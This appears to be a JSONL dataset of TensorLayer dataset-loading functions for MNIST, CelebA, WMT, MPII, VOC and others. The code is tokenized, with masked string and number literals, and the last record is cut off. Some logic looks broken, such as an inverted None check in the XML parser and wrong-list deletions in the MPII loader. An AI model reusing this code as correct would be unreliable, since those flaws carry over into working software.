10.\n    path : str\n        The path that the data is downloaded to, defaults is ``data/flickr25k/``.\n    n_threads : int\n        The number of thread to read image.\n    printable : boolean\n        Whether to print infomation when reading images, default is ``False``.\n\n    Examples\n    ----------\n    Use 200k images\n\n    >>> images = tl.files.load_flickr1M_dataset(tag='zebra', size=2)\n\n    Use 1 Million images\n\n    >>> images = tl.files.load_flickr1M_dataset(tag='zebra')", "id": "f11122:m0"}
{"signature": "def load_cyclegan_dataset(filename='<STR_LIT>', path='<STR_LIT:data>'):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>url = '<STR_LIT>'<EOL>if folder_exists(os.path.join(path, filename)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(filename, path))<EOL>maybe_download_and_extract(filename + '<STR_LIT>', path, url, extract=True)<EOL>del_file(os.path.join(path, filename + '<STR_LIT>'))<EOL><DEDENT>def load_image_from_folder(path):<EOL><INDENT>path_imgs = load_file_list(path=path, regx='<STR_LIT>', printable=False)<EOL>return visualize.read_images(path_imgs, path=path, n_threads=<NUM_LIT:10>, printable=False)<EOL><DEDENT>im_train_A = load_image_from_folder(os.path.join(path, filename, \"<STR_LIT>\"))<EOL>im_train_B = load_image_from_folder(os.path.join(path, filename, \"<STR_LIT>\"))<EOL>im_test_A = load_image_from_folder(os.path.join(path, filename, \"<STR_LIT>\"))<EOL>im_test_B = load_image_from_folder(os.path.join(path, filename, \"<STR_LIT>\"))<EOL>def if_2d_to_3d(images):  <EOL><INDENT>for i, _v in enumerate(images):<EOL><INDENT>if len(images[i].shape) == <NUM_LIT:2>:<EOL><INDENT>images[i] = images[i][:, :, np.newaxis]<EOL>images[i] = np.tile(images[i], (<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:3>))<EOL><DEDENT><DEDENT>return images<EOL><DEDENT>im_train_A = if_2d_to_3d(im_train_A)<EOL>im_train_B = if_2d_to_3d(im_train_B)<EOL>im_test_A = if_2d_to_3d(im_test_A)<EOL>im_test_B = if_2d_to_3d(im_test_B)<EOL>return im_train_A, im_train_B, im_test_A, im_test_B<EOL>", "docstring": "Load images from CycleGAN's database, see `this link <https://people.eecs.berkeley.edu/~taesung_park/CycleGAN/datasets/>`__.\n\n    Parameters\n    ------------\n    filename : str\n        The dataset you want, see `this link <https://people.eecs.berkeley.edu/~taesung_park/CycleGAN/datasets/>`__.\n    path : str\n        The path that the data is downloaded to, defaults is `data/cyclegan`\n\n    Examples\n    ---------\n    >>> im_train_A, im_train_B, im_test_A, im_test_B = load_cyclegan_dataset(filename='summer2winter_yosemite')", "id": "f11123:m0"}
{"signature": "def load_mnist_dataset(shape=(-<NUM_LIT:1>, <NUM_LIT>), path='<STR_LIT:data>'):", "body": "return _load_mnist_dataset(shape, path, name='<STR_LIT>', url='<STR_LIT>')<EOL>", "docstring": "Load the original mnist.\n\n    Automatically download MNIST dataset and return the training, validation and test set with 50000, 10000 and 10000 digit images respectively.\n\n    Parameters\n    ----------\n    shape : tuple\n        The shape of digit images (the default is (-1, 784), alternatively (-1, 28, 28, 1)).\n    path : str\n        The path that the data is downloaded to.\n\n    Returns\n    -------\n    X_train, y_train, X_val, y_val, X_test, y_test: tuple\n        Return splitted training/validation/test set respectively.\n\n    Examples\n    --------\n    >>> X_train, y_train, X_val, y_val, X_test, y_test = tl.files.load_mnist_dataset(shape=(-1,784), path='datasets')\n    >>> X_train, y_train, X_val, y_val, X_test, y_test = tl.files.load_mnist_dataset(shape=(-1, 28, 28, 1))", "id": "f11124:m0"}
{"signature": "def load_matt_mahoney_text8_dataset(path='<STR_LIT:data>'):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(path))<EOL>filename = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>maybe_download_and_extract(filename, path, url, expected_bytes=<NUM_LIT>)<EOL>with zipfile.ZipFile(os.path.join(path, filename)) as f:<EOL><INDENT>word_list = f.read(f.namelist()[<NUM_LIT:0>]).split()<EOL>for idx, _ in enumerate(word_list):<EOL><INDENT>word_list[idx] = word_list[idx].decode()<EOL><DEDENT><DEDENT>return word_list<EOL>", "docstring": "Load Matt Mahoney's dataset.\n\n    Download a text file from Matt Mahoney's website\n    if not present, and make sure it's the right size.\n    Extract the first file enclosed in a zip file as a list of words.\n    This dataset can be used for Word Embedding.\n\n    Parameters\n    ----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/mm_test8/``.\n\n    Returns\n    --------\n    list of str\n        The raw text data e.g. [.... 'their', 'families', 'who', 'were', 'expelled', 'from', 'jerusalem', ...]\n\n    Examples\n    --------\n    >>> words = tl.files.load_matt_mahoney_text8_dataset()\n    >>> print('Data size', len(words))", "id": "f11125:m0"}
{"signature": "def load_celebA_dataset(path='<STR_LIT:data>'):", "body": "data_dir = '<STR_LIT>'<EOL>filename, drive_id = \"<STR_LIT>\", \"<STR_LIT>\"<EOL>save_path = os.path.join(path, filename)<EOL>image_path = os.path.join(path, data_dir)<EOL>if os.path.exists(image_path):<EOL><INDENT>logging.info('<STR_LIT>'.format(save_path))<EOL><DEDENT>else:<EOL><INDENT>exists_or_mkdir(path)<EOL>download_file_from_google_drive(drive_id, save_path)<EOL>zip_dir = '<STR_LIT>'<EOL>with zipfile.ZipFile(save_path) as zf:<EOL><INDENT>zip_dir = zf.namelist()[<NUM_LIT:0>]<EOL>zf.extractall(path)<EOL><DEDENT>os.remove(save_path)<EOL>os.rename(os.path.join(path, zip_dir), image_path)<EOL><DEDENT>data_files = load_file_list(path=image_path, regx='<STR_LIT>', printable=False)<EOL>for i, _v in enumerate(data_files):<EOL><INDENT>data_files[i] = os.path.join(image_path, data_files[i])<EOL><DEDENT>return data_files<EOL>", "docstring": "Load CelebA dataset\n\n    Return a list of image path.\n\n    Parameters\n    -----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/celebA/``.", "id": "f11126:m0"}
{"signature": "def load_fashion_mnist_dataset(shape=(-<NUM_LIT:1>, <NUM_LIT>), path='<STR_LIT:data>'):", "body": "return _load_mnist_dataset(<EOL>shape, path, name='<STR_LIT>', url='<STR_LIT>'<EOL>)<EOL>", "docstring": "Load the fashion mnist.\n\n    Automatically download fashion-MNIST dataset and return the training, validation and test set with 50000, 10000 and 10000 fashion images respectively, `examples <http://marubon-ds.blogspot.co.uk/2017/09/fashion-mnist-exploring.html>`__.\n\n    Parameters\n    ----------\n    shape : tuple\n        The shape of digit images (the default is (-1, 784), alternatively (-1, 28, 28, 1)).\n    path : str\n        The path that the data is downloaded to.\n\n    Returns\n    -------\n    X_train, y_train, X_val, y_val, X_test, y_test: tuple\n        Return splitted training/validation/test set respectively.\n\n    Examples\n    --------\n    >>> X_train, y_train, X_val, y_val, X_test, y_test = tl.files.load_fashion_mnist_dataset(shape=(-1,784), path='datasets')\n    >>> X_train, y_train, X_val, y_val, X_test, y_test = tl.files.load_fashion_mnist_dataset(shape=(-1, 28, 28, 1))", "id": "f11127:m0"}
{"signature": "def load_wmt_en_fr_dataset(path='<STR_LIT:data>'):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>_WMT_ENFR_TRAIN_URL = \"<STR_LIT>\"<EOL>_WMT_ENFR_DEV_URL = \"<STR_LIT>\"<EOL>def gunzip_file(gz_path, new_path):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logging.info(\"<STR_LIT>\" % (gz_path, new_path))<EOL>with gzip.open(gz_path, \"<STR_LIT:rb>\") as gz_file:<EOL><INDENT>with open(new_path, \"<STR_LIT:wb>\") as new_file:<EOL><INDENT>for line in gz_file:<EOL><INDENT>new_file.write(line)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>def get_wmt_enfr_train_set(path):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>filename = \"<STR_LIT>\"<EOL>maybe_download_and_extract(filename, path, _WMT_ENFR_TRAIN_URL, extract=True)<EOL>train_path = os.path.join(path, \"<STR_LIT>\")<EOL>gunzip_file(train_path + \"<STR_LIT>\", train_path + \"<STR_LIT>\")<EOL>gunzip_file(train_path + \"<STR_LIT>\", train_path + \"<STR_LIT>\")<EOL>return train_path<EOL><DEDENT>def get_wmt_enfr_dev_set(path):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>filename = \"<STR_LIT>\"<EOL>dev_file = maybe_download_and_extract(filename, path, _WMT_ENFR_DEV_URL, extract=False)<EOL>dev_name = \"<STR_LIT>\"<EOL>dev_path = os.path.join(path, \"<STR_LIT>\")<EOL>if not (gfile.Exists(dev_path + \"<STR_LIT>\") and gfile.Exists(dev_path + \"<STR_LIT>\")):<EOL><INDENT>logging.info(\"<STR_LIT>\" % dev_file)<EOL>with tarfile.open(dev_file, \"<STR_LIT>\") as dev_tar:<EOL><INDENT>fr_dev_file = dev_tar.getmember(\"<STR_LIT>\" + dev_name + \"<STR_LIT>\")<EOL>en_dev_file = dev_tar.getmember(\"<STR_LIT>\" + dev_name + \"<STR_LIT>\")<EOL>fr_dev_file.name = dev_name + \"<STR_LIT>\"  <EOL>en_dev_file.name = dev_name + \"<STR_LIT>\"<EOL>dev_tar.extract(fr_dev_file, path)<EOL>dev_tar.extract(en_dev_file, path)<EOL><DEDENT><DEDENT>return dev_path<EOL><DEDENT>logging.info(\"<STR_LIT>\".format(path))<EOL>train_path = get_wmt_enfr_train_set(path)<EOL>dev_path = get_wmt_enfr_dev_set(path)<EOL>return train_path, dev_path<EOL>", "docstring": "Load WMT'15 English-to-French translation dataset.\n\n    It will download the data from the WMT'15 Website (10^9-French-English corpus), and the 2013 news test from the same site as development set.\n    Returns the directories of training data and test data.\n\n    Parameters\n    ----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/wmt_en_fr/``.\n\n    References\n    ----------\n    - Code modified from /tensorflow/models/rnn/translation/data_utils.py\n\n    Notes\n    -----\n    Usually, it will take a long time to download this dataset.", "id": "f11128:m0"}
{"signature": "def load_mpii_pose_dataset(path='<STR_LIT:data>', is_16_pos_only=False):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(path))<EOL>url = \"<STR_LIT>\"<EOL>tar_filename = \"<STR_LIT>\"<EOL>extracted_filename = \"<STR_LIT>\"<EOL>if folder_exists(os.path.join(path, extracted_filename)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(extracted_filename, path))<EOL>maybe_download_and_extract(tar_filename, path, url, extract=True)<EOL>del_file(os.path.join(path, tar_filename))<EOL><DEDENT>url = \"<STR_LIT>\"<EOL>tar_filename = \"<STR_LIT>\"<EOL>extracted_filename2 = \"<STR_LIT>\"<EOL>if folder_exists(os.path.join(path, extracted_filename2)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(extracted_filename, path))<EOL>maybe_download_and_extract(tar_filename, path, url, extract=True)<EOL>del_file(os.path.join(path, tar_filename))<EOL><DEDENT>import scipy.io as sio<EOL>logging.info(\"<STR_LIT>\")<EOL>ann_train_list = []<EOL>ann_test_list = []<EOL>img_train_list = []<EOL>img_test_list = []<EOL>def save_joints():<EOL><INDENT>mat = sio.loadmat(os.path.join(path, extracted_filename, \"<STR_LIT>\"))<EOL>for _, (anno, train_flag) in enumerate(  <EOL>zip(mat['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>, <NUM_LIT:0>][<NUM_LIT:0>], mat['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>, <NUM_LIT:0>][<NUM_LIT:0>])):<EOL><INDENT>img_fn = anno['<STR_LIT:image>']['<STR_LIT:name>'][<NUM_LIT:0>, <NUM_LIT:0>][<NUM_LIT:0>]<EOL>train_flag = int(train_flag)<EOL>if train_flag:<EOL><INDENT>img_train_list.append(img_fn)<EOL>ann_train_list.append([])<EOL><DEDENT>else:<EOL><INDENT>img_test_list.append(img_fn)<EOL>ann_test_list.append([])<EOL><DEDENT>head_rect = []<EOL>if '<STR_LIT>' in str(anno['<STR_LIT>'].dtype):<EOL><INDENT>head_rect = zip(<EOL>[x1[<NUM_LIT:0>, <NUM_LIT:0>] for x1 in anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]], [y1[<NUM_LIT:0>, <NUM_LIT:0>] for y1 in anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]],<EOL>[x2[<NUM_LIT:0>, <NUM_LIT:0>] for x2 in anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]], [y2[<NUM_LIT:0>, <NUM_LIT:0>] for y2 in anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>head_rect = []  <EOL><DEDENT>if '<STR_LIT>' in str(anno['<STR_LIT>'].dtype):<EOL><INDENT>annopoints = anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>head_x1s = anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>head_y1s = anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>head_x2s = anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>head_y2s = anno['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]<EOL>for annopoint, head_x1, head_y1, head_x2, head_y2 in zip(annopoints, head_x1s, head_y1s, head_x2s,<EOL>head_y2s):<EOL><INDENT>if annopoint.size:<EOL><INDENT>head_rect = [<EOL>float(head_x1[<NUM_LIT:0>, <NUM_LIT:0>]),<EOL>float(head_y1[<NUM_LIT:0>, <NUM_LIT:0>]),<EOL>float(head_x2[<NUM_LIT:0>, <NUM_LIT:0>]),<EOL>float(head_y2[<NUM_LIT:0>, <NUM_LIT:0>])<EOL>]<EOL>annopoint = annopoint['<STR_LIT>'][<NUM_LIT:0>, <NUM_LIT:0>]<EOL>j_id = [str(j_i[<NUM_LIT:0>, <NUM_LIT:0>]) for j_i in annopoint['<STR_LIT:id>'][<NUM_LIT:0>]]<EOL>x = [x[<NUM_LIT:0>, <NUM_LIT:0>] for x in annopoint['<STR_LIT:x>'][<NUM_LIT:0>]]<EOL>y = [y[<NUM_LIT:0>, <NUM_LIT:0>] for y in annopoint['<STR_LIT:y>'][<NUM_LIT:0>]]<EOL>joint_pos = {}<EOL>for _j_id, (_x, _y) in zip(j_id, zip(x, y)):<EOL><INDENT>joint_pos[int(_j_id)] = [float(_x), float(_y)]<EOL><DEDENT>if '<STR_LIT>' in str(annopoint.dtype):<EOL><INDENT>vis = [v[<NUM_LIT:0>] if v.size > <NUM_LIT:0> else [<NUM_LIT:0>] for v in annopoint['<STR_LIT>'][<NUM_LIT:0>]]<EOL>vis = dict([(k, int(v[<NUM_LIT:0>])) if len(v) > <NUM_LIT:0> else v for k, v in zip(j_id, vis)])<EOL><DEDENT>else:<EOL><INDENT>vis = None<EOL><DEDENT>if ((is_16_pos_only ==True) and (len(joint_pos) == <NUM_LIT:16>)) or (is_16_pos_only == False):<EOL><INDENT>data = {<EOL>'<STR_LIT:filename>': img_fn,<EOL>'<STR_LIT:train>': train_flag,<EOL>'<STR_LIT>': head_rect,<EOL>'<STR_LIT>': vis,<EOL>'<STR_LIT>': joint_pos<EOL>}<EOL>if train_flag:<EOL><INDENT>ann_train_list[-<NUM_LIT:1>].append(data)<EOL><DEDENT>else:<EOL><INDENT>ann_test_list[-<NUM_LIT:1>].append(data)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>save_joints()<EOL>logging.info(\"<STR_LIT>\")<EOL>img_dir = os.path.join(path, extracted_filename2)<EOL>_img_list = load_file_list(path=os.path.join(path, extracted_filename2), regx='<STR_LIT>', printable=False)<EOL>for i, im in enumerate(img_train_list):<EOL><INDENT>if im not in _img_list:<EOL><INDENT>print('<STR_LIT>'.format(im, img_dir))<EOL>del img_train_list[i]<EOL>del ann_train_list[i]<EOL><DEDENT><DEDENT>for i, im in enumerate(img_test_list):<EOL><INDENT>if im not in _img_list:<EOL><INDENT>print('<STR_LIT>'.format(im, img_dir))<EOL>del img_train_list[i]<EOL>del ann_train_list[i]<EOL><DEDENT><DEDENT>n_train_images = len(img_train_list)<EOL>n_test_images = len(img_test_list)<EOL>n_images = n_train_images + n_test_images<EOL>logging.info(\"<STR_LIT>\".format(n_images, n_train_images, n_test_images))<EOL>n_train_ann = len(ann_train_list)<EOL>n_test_ann = len(ann_test_list)<EOL>n_ann = n_train_ann + n_test_ann<EOL>logging.info(\"<STR_LIT>\".format(n_ann, n_train_ann, n_test_ann))<EOL>n_train_people = len(sum(ann_train_list, []))<EOL>n_test_people = len(sum(ann_test_list, []))<EOL>n_people = n_train_people + n_test_people<EOL>logging.info(\"<STR_LIT>\".format(n_people, n_train_people, n_test_people))<EOL>for i, value in enumerate(img_train_list):<EOL><INDENT>img_train_list[i] = os.path.join(img_dir, value)<EOL><DEDENT>for i, value in enumerate(img_test_list):<EOL><INDENT>img_test_list[i] = os.path.join(img_dir, value)<EOL><DEDENT>return img_train_list, ann_train_list, img_test_list, ann_test_list<EOL>", "docstring": "Load MPII Human Pose Dataset.\n\n    Parameters\n    -----------\n    path : str\n        The path that the data is downloaded to.\n    is_16_pos_only : boolean\n        If True, only return the peoples contain 16 pose keypoints. (Usually be used for single person pose estimation)\n\n    Returns\n    ----------\n    img_train_list : list of str\n        The image directories of training data.\n    ann_train_list : list of dict\n        The annotations of training data.\n    img_test_list : list of str\n        The image directories of testing data.\n    ann_test_list : list of dict\n        The annotations of testing data.\n\n    Examples\n    --------\n    >>> import pprint\n    >>> import tensorlayer as tl\n    >>> img_train_list, ann_train_list, img_test_list, ann_test_list = tl.files.load_mpii_pose_dataset()\n    >>> image = tl.vis.read_image(img_train_list[0])\n    >>> tl.vis.draw_mpii_pose_to_image(image, ann_train_list[0], 'image.png')\n    >>> pprint.pprint(ann_train_list[0])\n\n    References\n    -----------\n    - `MPII Human Pose Dataset. CVPR 14 <http://human-pose.mpi-inf.mpg.de>`__\n    - `MPII Human Pose Models. CVPR 16 <http://pose.mpi-inf.mpg.de>`__\n    - `MPII Human Shape, Poselet Conditioned Pictorial Structures and etc <http://pose.mpi-inf.mpg.de/#related>`__\n    - `MPII Keyponts and ID <http://human-pose.mpi-inf.mpg.de/#download>`__", "id": "f11130:m0"}
{"signature": "def load_flickr25k_dataset(tag='<STR_LIT>', path=\"<STR_LIT:data>\", n_threads=<NUM_LIT:50>, printable=False):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>filename = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>if folder_exists(os.path.join(path, \"<STR_LIT>\")) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(path))<EOL>maybe_download_and_extract(filename, path, url, extract=True)<EOL>del_file(os.path.join(path, filename))<EOL><DEDENT>folder_imgs = os.path.join(path, \"<STR_LIT>\")<EOL>path_imgs = load_file_list(path=folder_imgs, regx='<STR_LIT>', printable=False)<EOL>path_imgs.sort(key=natural_keys)<EOL>folder_tags = os.path.join(path, \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL>path_tags = load_file_list(path=folder_tags, regx='<STR_LIT>', printable=False)<EOL>path_tags.sort(key=natural_keys)<EOL>if tag is None:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(tag))<EOL><DEDENT>images_list = []<EOL>for idx, _v in enumerate(path_tags):<EOL><INDENT>tags = read_file(os.path.join(folder_tags, path_tags[idx])).split('<STR_LIT:\\n>')<EOL>if tag is None or tag in tags:<EOL><INDENT>images_list.append(path_imgs[idx])<EOL><DEDENT><DEDENT>images = visualize.read_images(images_list, folder_imgs, n_threads=n_threads, printable=printable)<EOL>return images<EOL>", "docstring": "Load Flickr25K dataset.\n\n    Returns a list of images by a given tag from Flick25k dataset,\n    it will download Flickr25k from `the official website <http://press.liacs.nl/mirflickr/mirdownload.html>`__\n    at the first time you use it.\n\n    Parameters\n    ------------\n    tag : str or None\n        What images to return.\n            - If you want to get images with tag, use string like 'dog', 'red', see `Flickr Search <https://www.flickr.com/search/>`__.\n            - If you want to get all images, set to ``None``.\n\n    path : str\n        The path that the data is downloaded to, defaults is ``data/flickr25k/``.\n    n_threads : int\n        The number of thread to read image.\n    printable : boolean\n        Whether to print infomation when reading images, default is ``False``.\n\n    Examples\n    -----------\n    Get images with tag of sky\n\n    >>> images = tl.files.load_flickr25k_dataset(tag='sky')\n\n    Get all images\n\n    >>> images = tl.files.load_flickr25k_dataset(tag=None, n_threads=100, printable=True)", "id": "f11131:m0"}
{"signature": "def load_nietzsche_dataset(path='<STR_LIT:data>'):", "body": "logging.info(\"<STR_LIT>\".format(path))<EOL>path = os.path.join(path, '<STR_LIT>')<EOL>filename = \"<STR_LIT>\"<EOL>url = '<STR_LIT>'<EOL>filepath = maybe_download_and_extract(filename, path, url)<EOL>with open(filepath, \"<STR_LIT:r>\") as f:<EOL><INDENT>words = f.read()<EOL>return words<EOL><DEDENT>", "docstring": "Load Nietzsche dataset.\n\n    Parameters\n    ----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/nietzsche/``.\n\n    Returns\n    --------\n    str\n        The content.\n\n    Examples\n    --------\n    >>> see tutorial_generate_text.py\n    >>> words = tl.files.load_nietzsche_dataset()\n    >>> words = basic_clean_str(words)\n    >>> words = words.split()", "id": "f11133:m0"}
{"signature": "def load_voc_dataset(path='<STR_LIT:data>', dataset='<STR_LIT>', contain_classes_in_person=False):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>def _recursive_parse_xml_to_dict(xml):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if xml is not None:<EOL><INDENT>return {xml.tag: xml.text}<EOL><DEDENT>result = {}<EOL>for child in xml:<EOL><INDENT>child_result = _recursive_parse_xml_to_dict(child)<EOL>if child.tag != '<STR_LIT:object>':<EOL><INDENT>result[child.tag] = child_result[child.tag]<EOL><DEDENT>else:<EOL><INDENT>if child.tag not in result:<EOL><INDENT>result[child.tag] = []<EOL><DEDENT>result[child.tag].append(child_result[child.tag])<EOL><DEDENT><DEDENT>return {xml.tag: result}<EOL><DEDENT>import xml.etree.ElementTree as ET<EOL>if dataset == \"<STR_LIT>\":<EOL><INDENT>url = \"<STR_LIT>\"<EOL>tar_filename = \"<STR_LIT>\"<EOL>extracted_filename = \"<STR_LIT>\"  <EOL>logging.info(\"<STR_LIT>\")<EOL><DEDENT>elif dataset == \"<STR_LIT>\":<EOL><INDENT>extracted_filename = \"<STR_LIT>\"  <EOL>logging.info(\"<STR_LIT>\")<EOL>logging.info(<EOL>\"<STR_LIT>\"<EOL>)<EOL>import time<EOL>time.sleep(<NUM_LIT:3>)<EOL>if os.path.isdir(os.path.join(path, extracted_filename)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL>logging.info(<EOL>\"<STR_LIT>\"<EOL>)<EOL>logging.info(\"<STR_LIT>\" % path)<EOL>exit()<EOL><DEDENT><DEDENT>elif dataset == \"<STR_LIT>\":<EOL><INDENT>url = \"<STR_LIT>\"<EOL>tar_filename = \"<STR_LIT>\"<EOL>extracted_filename = \"<STR_LIT>\"<EOL>logging.info(\"<STR_LIT>\")<EOL><DEDENT>elif dataset == \"<STR_LIT>\":<EOL><INDENT>url = \"<STR_LIT>\"<EOL>tar_filename = \"<STR_LIT>\"<EOL>extracted_filename = \"<STR_LIT>\"<EOL>logging.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if dataset != \"<STR_LIT>\":<EOL><INDENT>from sys import platform as _platform<EOL>if folder_exists(os.path.join(path, extracted_filename)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(extracted_filename, path))<EOL>maybe_download_and_extract(tar_filename, path, url, extract=True)<EOL>del_file(os.path.join(path, tar_filename))<EOL>if dataset == \"<STR_LIT>\":<EOL><INDENT>if _platform == \"<STR_LIT:win32>\":<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT>else:<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT><DEDENT>elif dataset == \"<STR_LIT>\":<EOL><INDENT>if _platform == \"<STR_LIT:win32>\":<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT>else:<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT><DEDENT>elif dataset == \"<STR_LIT>\":<EOL><INDENT>if _platform == \"<STR_LIT:win32>\":<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT>else:<EOL><INDENT>os.system(\"<STR_LIT>\".format(path, path))<EOL><DEDENT><DEDENT>del_folder(os.path.join(path, '<STR_LIT>'))<EOL><DEDENT><DEDENT>classes = [<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:train>\", \"<STR_LIT>\"<EOL>]<EOL>if contain_classes_in_person:<EOL><INDENT>classes_in_person = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>classes_in_person = []<EOL><DEDENT>classes += classes_in_person  <EOL>classes_dict = utils.list_string_to_dict(classes)<EOL>logging.info(\"<STR_LIT>\".format(classes_dict))<EOL>folder_imgs = os.path.join(path, extracted_filename, \"<STR_LIT>\")<EOL>imgs_file_list = load_file_list(path=folder_imgs, regx='<STR_LIT>', printable=False)<EOL>logging.info(\"<STR_LIT>\".format(len(imgs_file_list)))<EOL>imgs_file_list.sort(<EOL>key=lambda s: int(s.replace('<STR_LIT:.>', '<STR_LIT:U+0020>').replace('<STR_LIT:_>', '<STR_LIT>').split('<STR_LIT:U+0020>')[-<NUM_LIT:2>])<EOL>)  <EOL>imgs_file_list = [os.path.join(folder_imgs, s) for s in imgs_file_list]<EOL>if dataset != \"<STR_LIT>\":<EOL><INDENT>folder_semseg = os.path.join(path, extracted_filename, \"<STR_LIT>\")<EOL>imgs_semseg_file_list = load_file_list(path=folder_semseg, regx='<STR_LIT>', printable=False)<EOL>logging.info(\"<STR_LIT>\".format(len(imgs_semseg_file_list)))<EOL>imgs_semseg_file_list.sort(<EOL>key=lambda s: int(s.replace('<STR_LIT:.>', '<STR_LIT:U+0020>').replace('<STR_LIT:_>', '<STR_LIT>').split('<STR_LIT:U+0020>')[-<NUM_LIT:2>])<EOL>)  <EOL>imgs_semseg_file_list = [os.path.join(folder_semseg, s) for s in imgs_semseg_file_list]<EOL>folder_insseg = os.path.join(path, extracted_filename, \"<STR_LIT>\")<EOL>imgs_insseg_file_list = load_file_list(path=folder_insseg, regx='<STR_LIT>', printable=False)<EOL>logging.info(\"<STR_LIT>\".format(len(imgs_semseg_file_list)))<EOL>imgs_insseg_file_list.sort(<EOL>key=lambda s: int(s.replace('<STR_LIT:.>', '<STR_LIT:U+0020>').replace('<STR_LIT:_>', '<STR_LIT>').split('<STR_LIT:U+0020>')[-<NUM_LIT:2>])<EOL>)  <EOL>imgs_insseg_file_list = [os.path.join(folder_insseg, s) for s in imgs_insseg_file_list]<EOL><DEDENT>else:<EOL><INDENT>imgs_semseg_file_list = []<EOL>imgs_insseg_file_list = []<EOL><DEDENT>folder_ann = os.path.join(path, extracted_filename, \"<STR_LIT>\")<EOL>imgs_ann_file_list = load_file_list(path=folder_ann, regx='<STR_LIT>', printable=False)<EOL>logging.info(<EOL>\"<STR_LIT>\".format(len(imgs_ann_file_list))<EOL>)<EOL>imgs_ann_file_list.sort(<EOL>key=lambda s: int(s.replace('<STR_LIT:.>', '<STR_LIT:U+0020>').replace('<STR_LIT:_>', '<STR_LIT>').split('<STR_LIT:U+0020>')[-<NUM_LIT:2>])<EOL>)  <EOL>imgs_ann_file_list = [os.path.join(folder_ann, s) for s in imgs_ann_file_list]<EOL>if dataset == \"<STR_LIT>\":  <EOL><INDENT>imgs_file_list_new = []<EOL>for ann in imgs_ann_file_list:<EOL><INDENT>ann = os.path.split(ann)[-<NUM_LIT:1>].split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>for im in imgs_file_list:<EOL><INDENT>if ann in im:<EOL><INDENT>imgs_file_list_new.append(im)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>imgs_file_list = imgs_file_list_new<EOL>logging.info(\"<STR_LIT>\" % len(imgs_file_list_new))<EOL><DEDENT>def convert(size, box):<EOL><INDENT>dw = <NUM_LIT:1.> / size[<NUM_LIT:0>]<EOL>dh = <NUM_LIT:1.> / size[<NUM_LIT:1>]<EOL>x = (box[<NUM_LIT:0>] + box[<NUM_LIT:1>]) / <NUM_LIT><EOL>y = (box[<NUM_LIT:2>] + box[<NUM_LIT:3>]) / <NUM_LIT><EOL>w = box[<NUM_LIT:1>] - box[<NUM_LIT:0>]<EOL>h = box[<NUM_LIT:3>] - box[<NUM_LIT:2>]<EOL>x = x * dw<EOL>w = w * dw<EOL>y = y * dh<EOL>h = h * dh<EOL>return x, y, w, h<EOL><DEDENT>def convert_annotation(file_name):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>in_file = open(file_name)<EOL>out_file = \"<STR_LIT>\"<EOL>tree = ET.parse(in_file)<EOL>root = tree.getroot()<EOL>size = root.find('<STR_LIT:size>')<EOL>w = int(size.find('<STR_LIT:width>').text)<EOL>h = 